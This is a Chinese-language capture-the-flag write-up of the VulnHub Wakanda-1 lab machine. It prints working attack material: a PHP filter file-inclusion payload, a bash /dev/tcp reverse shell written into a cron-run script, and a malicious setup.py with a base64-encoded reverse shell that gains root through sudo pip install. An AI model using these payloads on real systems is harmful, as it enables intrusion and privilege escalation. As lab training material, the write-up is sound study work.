VulnHub实战篇二:Wakanda-1靶机渗透记录

10 篇文章 0 订阅
9 篇文章 1 订阅

目录

 

 

0x01靶机信息

0x02信息搜集

1.主机信息扫描

2.HTTP信息搜集

0X03 getFlag-1

0x03-1

0x03-2

0x04 getFlag-2

0x04-1

0x04-2

0x05 getFlag-3

0x05-1

0x05-2

0x06 总结


 

0x01靶机信息

靶机名称:Wakanda-1

下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova

操作系统:debian

渗透目标:获取root权限,取得三个flag

 

0x02信息搜集

1.主机信息扫描

本地虚拟机搭建完环境后无法获悉靶机地址,需要使用主机探测工具扫描一下ip,这里使用nmap,命令如下。

nmap -sP 192.168.0.1/24

通过扫描,我们获悉到目标ip为192.168.0.104,继续扫描一下目标开启的端口和服务。

nmap -sV -v 192.168.0.104

扫描结果如下

我们可以看到目标主机在80端口开启了http服务,在3333端口开启了ssh服务,且ssh版本为openssh6.7,之前了解到openssh7.7之前的版本中存在用户名枚举漏洞。

 

2.HTTP信息搜集

浏览器访问192.168.0.104的http页面,Vibranium Market,emm……英语渣的我直接打开百度翻译,百度翻译结果是振荡器交易市场。。。联系靶机的名字“wakanda”,推测正确的翻译应该是“振金市场”。吼吼,黑进去是不是也可以给自己打造一身黑豹战甲了(滑稽)。

经过测试,web主页没有有效入口,查看一下源码,同时扫描一下目录。我们在源码的29行的注释处发现了有用信息,通过传参?lang=fr,发现网页文本被修改为法语,推测此处存在文件包含。

 

目录扫描完毕,逐一访问后发现大多为空页,大概是作者打的烟雾弹

SSH信息搜集,用MSF的模块尝试枚举一下ssh用户名,只找到了root一个有效用户
 

msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhost 192.168.0.104
rhost => 192.168.0.105
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rport 3333
rport => 3333
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set threads 20
threads => 20
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/wordlists/wfuzz/general/big.txt
user_file => /usr/share/wordlists/wfuzz/general/big.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run

 

0X03 getFlag-1

0x03-1

首先利用一下刚才发现的文件包含,传参?lang=php://file/read=convert.base64-encode/resource=index,解码后获得源码。

审计源码发现主页所有链接均为空链接,有趣的是在第一行发现了参数 password,推测是数据库或者是ssh的密码。

0x03-2

使用拿到的密码尝试使用root用户连接靶机没有成功,这下就找不到任何切入点了。我在这里卡了很长时间,尝试过许多乱七八糟的方法。一筹莫展之际,瞥见网页底部的类似版权信息“made by@mamadou”,尝试当用户名连接一下,成功……

连接上之后回弹的是一个python shell,功能有限而且只能执行python代码非常讨厌,我们利用python shell再开启一个bash shell

import os
os.system("/bin/bash")

查看一下目录,获得第一个flag

0x04 getFlag-2

0x04-1

尝试写shell,无权限,进而查看当前用户的sudo权限,结果不出所料,无sudo权限。

查看一下系统版本和内核,寻找一下有无可利用漏洞。

msf打开搜到不少,但似乎没有特别合适的模块,浏览器搜索linux版本和内核版本,也未找到合适的exp。这时考虑查看一下有无其他高权限用户,打开passwd文件,发现另一个用户devops。

0x04-2

搜索一下该用户所属的文件,其中.antivirus.py只有一行内容,即向/tmp/test中写入一行,产看权限后发现该文件可以被任意用户修改,但无执行权限,应该是有其他进程在调用这段代码。

open('/tmp/test','w').write('test')

仔细观察后发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断调用.antivirus.py

于是尝试将.antivirus.py的内容修改为如下内容

f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)

几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag

0x05 getFlag-3

0x05-1

在之前的基础上,进一步以devops用户身份创建一个shell,开启监听端口,.antivirus.py内容改为

import os
os.system("echo 'bash -i >& /dev/tcp/192.168.0.107/6767 0>&1'|bash")

几分钟后目标向我们反弹回一个shell

查看devops用户的sudo权限,发现pip可执行

0x05-2

关于pip恶意利用,参考https://www.root4loot.com/post/pip-install-privilege-escalation/

创建一个恶意setup.py并上传到tmp目录

from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.0.107' 

    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

攻击机开启nc监听端口,控制靶机执行

sudo -H /usr/bin/pip install . --upgrade --force-reinstall

随即获得一个新的反弹shell,可以看到此时已经是root权限

最后一个flag也很好找,就在根目录下的root.txt文件中

0x06 总结

这台靶机对我来说难度还是比较大的,首先web的切入点过少,对于一个技能树偏重web的弟弟来说前期思路真是一点都没有,不得不去网上参看其他师傅的wp,后期工作比较顺利,也学到了pip的利用方法,总体来说收益还是蛮大的!

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值